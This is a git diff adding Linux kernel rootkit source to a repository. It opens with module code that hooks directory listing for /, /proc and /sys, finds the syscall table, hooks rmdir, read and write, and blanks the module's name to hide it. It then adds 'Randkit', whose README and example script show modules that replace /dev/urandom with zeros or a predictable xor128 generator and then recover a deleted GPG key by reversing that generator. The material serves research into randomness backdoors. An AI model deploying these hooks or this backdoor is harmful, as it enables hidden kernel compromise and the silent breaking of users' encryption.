KERNEL_VERSION(4, 5, 0) + + asm_hook_create(get_fop("/")->iterate, root_iterate); + asm_hook_create(get_fop("/proc")->iterate, proc_iterate); + asm_hook_create(get_fop("/sys")->iterate, sys_iterate); + +#elif LINUX_VERSION_CODE == KERNEL_VERSION(2, 6, 32) + + asm_hook_create(get_fop("/")->readdir, root_readdir); + asm_hook_create(get_fop("/proc")->readdir, proc_readdir); + asm_hook_create(get_fop("/sys")->readdir, sys_readdir); + +#endif + + sys_call_table = find_syscall_table(); + pr_info("Found sys_call_table at %p\n", sys_call_table); + + // Setup the example hooks + asm_hook_create(sys_call_table[__NR_rmdir], asm_rmdir); + hook_create(&sys_call_table[__NR_read], read); + hook_create(&sys_call_table[__NR_write], write); + + return 0; +} + +void exit(void) +{ + // Print the results of the example hooks + pr_info("sys_rmdir was called %lu times\n", asm_rmdir_count); + pr_info("sys_read was called %lu times\n", read_count); + pr_info("sys_write was called %lu times\n", write_count); + + // Cleanup + hook_remove_all(); + asm_hook_remove_all(); + pid_remove_all(); + file_remove_all(); + + THIS_MODULE->name[0] = 0; + + pr_info("Module removed\n"); +} + +module_init(init); +module_exit(exit); diff --git a/Linux/Rootkits/Randkit/.gitignore b/Linux/Rootkits/Randkit/.gitignore new file mode 100644 index 0000000..bbf313b --- /dev/null +++ b/Linux/Rootkits/Randkit/.gitignore @@ -0,0 +1,32 @@ +# Object files +*.o +*.ko +*.obj +*.elf + +# Precompiled Headers +*.gch +*.pch + +# Libraries +*.lib +*.a +*.la +*.lo + +# Shared objects (inc. Windows DLLs) +*.dll +*.so +*.so.* +*.dylib + +# Executables +*.exe +*.out +*.app +*.i*86 +*.x86_64 +*.hex + +# Debug files +*.dSYM/ diff --git a/Linux/Rootkits/Randkit/LICENSE b/Linux/Rootkits/Randkit/LICENSE new file mode 100644 index 0000000..9cecc1d --- /dev/null +++ b/Linux/Rootkits/Randkit/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {one line to give the program's name and a brief idea of what it does.} + Copyright (C) {year} {name of author} + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/Linux/Rootkits/Randkit/Makefile b/Linux/Rootkits/Randkit/Makefile new file mode 100644 index 0000000..60c4ca0 --- /dev/null +++ b/Linux/Rootkits/Randkit/Makefile @@ -0,0 +1,9 @@ +define build + $(MAKE) -C fops $@ PWD=$(PWD)/fops + $(MAKE) -C zero $@ PWD=$(PWD)/zero + $(MAKE) -C xor128 $@ PWD=$(PWD)/xor128 +endef + +all clean test: + $(call build) + diff --git a/Linux/Rootkits/Randkit/README.md b/Linux/Rootkits/Randkit/README.md new file mode 100644 index 0000000..2aabd0d --- /dev/null +++ b/Linux/Rootkits/Randkit/README.md @@ -0,0 +1,174 @@ +# randkit + Random number rootkit for the Linux kernel + +The goals are to see: +* how a kernel module can access and modify the `/dev/urandom` and `/dev/random` structures. +* what happens when we replace a cryptographically secure PRNG with a predictable and reversible PRNG (here, this simple PRNG is `xor128`). + +Contents += + +zero/ +- + +A simple module that replaces `/dev/(u)random` with `/dev/zero` + +```bash +# output 16 random bytes from /dev/urandom +$ head -c16 /dev/urandom | hexdump +0000000 55a4 98ea 7179 4179 d634 fd92 89f2 898e +0000010 +# load the zero rootkit +$ sudo insmod randkit_zero.ko +# output 16 zero bytes from /dev/urandom +$ head -c16 /dev/urandom | hexdump +0000000 0000 0000 0000 0000 0000 0000 0000 0000 +0000010 +# remove the rootkit +$ sudo rmmod randkit_zero +# the random numbers are random again! +$ head -c16 /dev/urandom | hexdump +0000000 194b 2c9f 5054 113b f6bc 5ab8 3ed9 dee2 +0000010 +``` + +xor128/ +- + +A module that replaces `/dev/(u)random` with a simple predictable and reversible PRNG. + +This PRNG is called *xor128* and is part of the very fast Xorshift PRNGs: https://en.wikipedia.org/wiki/Xorshift + +One of the *xor128* features is that it passes the *diehard* random number tests: https://en.wikipedia.org/wiki/Diehard_tests (which is a rather complete randomness test suite). + +Let's do a quick randomness test with another randomness test suite. We will use the `ent` tool available at https://www.fourmilab.ch/random/ + +For the real `/dev/urandom` device: + +```bash +# generate 5 MB of random data from the real /dev/urandom +$ dd if=/dev/urandom of=random5MB.urandom bs=1M count=5 +5+0 records in +5+0 records out +5242880 bytes (5.2 MB) copied, 0.406672 s, 12.9 MB/s +# test the randomness of the data using the ent tool +$ ent random5MB.urandom +Entropy = 7.999968 bits per byte. + +Optimum compression would reduce the size +of this 5242880 byte file by 0 percent. + +Chi square distribution for 5242880 samples is 233.65, and randomly +would exceed this value 75.00 percent of the times. + +Arithmetic mean value of data bytes is 127.4776 (127.5 = random). +Monte Carlo value for Pi is 3.143720682 (error 0.07 percent). +Serial correlation coefficient is -0.000062 (totally uncorrelated = 0.0). +``` + +For the backdoored `/dev/urandom` device: + +```bash +# load the rootkit +$ sudo insmod randkit_xor128.ko +# generate 5 MB of random data from the backdoored /dev/urandom +$ dd if=/dev/urandom of=random5MB.xor128 bs=1M count=5 +5+0 records in +5+0 records out +5242880 bytes (5.2 MB) copied, 0.0266334 s, 197 MB/s +# test the randomness of the data using the ent tool +$ ent random5MB.xor128 +Entropy = 7.999964 bits per byte. + +Optimum compression would reduce the size +of this 5242880 byte file by 0 percent. + +Chi square distribution for 5242880 samples is 261.73, and randomly +would exceed this value 50.00 percent of the times. + +Arithmetic mean value of data bytes is 127.4943 (127.5 = random). +Monte Carlo value for Pi is 3.140932900 (error 0.02 percent). +Serial correlation coefficient is 0.000238 (totally uncorrelated = 0.0). +``` + +Both the files appear to be random. Therefore it is difficult to distinguish a predictable PRNG like *xor128* with a **really** random CSPRNG like `/dev/urandom`. + +fops/ +- + +A module that checks that the `struct file_operations` pointer from `/dev/urandom` is accessible using different techniques + +tests/ +- + +Programs to test that the modules work correctly (e.g. read random numbers from the file descriptor, syscall, ...). + +examples/ +- + +Shows how to retrieve past random numbers generated by the `randkit_xor128` module. + +Build += + +Go the toplevel directory and type `make`. This will build all the three modules. + +Or you go inside the `fops/`, `zero/` or `xor128/` directories and type `make`. + +To build successfully, you need the linux headers for your kernel. + +Test += + +Simple tests +- + +To check that everything works, go to the toplevel directory and type `make test`. + +Full example +- + +Go to the `examples/` directory and type `make`. + +This will encrypt data using a key generated by the backdoored PRNG. Then it will delete the key and try to decrypt the data by retrieving the PRNG previous values. + +```bash +$ cd examples +$ make +./example.sh +[*] reloading the module +[*] cleaning files from previous run +[*] generating 5KB of random numbers +1+0 records in +1+0 records out +5120 bytes (5.1 kB) copied, 6.9455e-05 s, 73.7 MB/s +[*] generating the GPG symmetric key +[*] encrypting data +[*] deleting the key +[*] generating 5KB of random numbers again +1+0 records in +1+0 records out +5120 bytes (5.1 kB) copied, 6.6115e-05 s, 77.4 MB/s +[*] decrypt the data by reversing the PRNG to retrieve the key +[*] this should take approx. 1280 iterations +[*] iteration: 1 +gpg: decryption failed: bad key +[*] bad key. Retrying with previous state... +[*] iteration: 2 +gpg: decryption failed: bad key +[*] bad key. Retrying with previous state... +[*] iteration: 3 +gpg: decryption failed: bad key +[*] bad key. Retrying with previous state... +... +[*] iteration: 1287 +gpg: decryption failed: bad key +[*] bad key. Retrying with previous state... +[*] iteration: 1288 +gpg: decryption failed: bad key +[*] bad key. Retrying with previous state... +[*] iteration: 1289 +[*] key found! +[*] comparing the original and decrypted files: +[*] Success. Files are equal! +``` \ No newline at end of file diff --git a/Linux/Rootkits/Randkit/examples/Makefile b/Linux/Rootkits/Randkit/examples/Makefile new file mode 100644 index 0000000..22bc034 --- /dev/null +++ b/Linux/Rootkits/Randkit/examples/Makefile @@ -0,0 +1,2 @@ +all: + ./example.sh diff --git a/Linux/Rootkits/Randkit/examples/example.sh b/Linux/Rootkits/Randkit/examples/example.sh new file mode 100644 index 0000000..8410a56 --- /dev/null +++ b/Linux/Rootkits/Randkit/examples/example.sh @@ -0,0 +1,36 @@ +#!/bin/bash + +echo "[*] reloading the module" +sudo rmmod randkit_xor128 +sudo insmod ../xor128/randkit_xor128.ko + +echo "[*] cleaning files from previous run" +rm -f mykey encrypted.enc decrypted.txt + +echo "[*] generating 5KB of random numbers" +dd if=/dev/urandom of=/dev/null bs=5K count=1 + +echo "[*] generating the GPG symmetric key" +head -c 16 mykey + +echo "[*] encrypting data" +cat mykey | gpg --symmetric --passphrase-fd 0 --cipher-algo AES256 --output encrypted.enc original.txt + +echo "[*] deleting the key" +rm -f mykey + +echo "[*] generating 5KB of random numbers again" +dd if=/dev/urandom of=/dev/null bs=5K count=1 + +echo "[*] decrypt the data by reversing the PRNG to retrieve the key" +echo "[*] this should take approx. 1280 iterations" +python unrandom.py encrypted.enc decrypted.txt + +echo "[*] comparing the original and decrypted files:" +diff original.txt decrypted.txt + +if (( $? == 0 )); then + echo "[*] Success. Files are equal!" 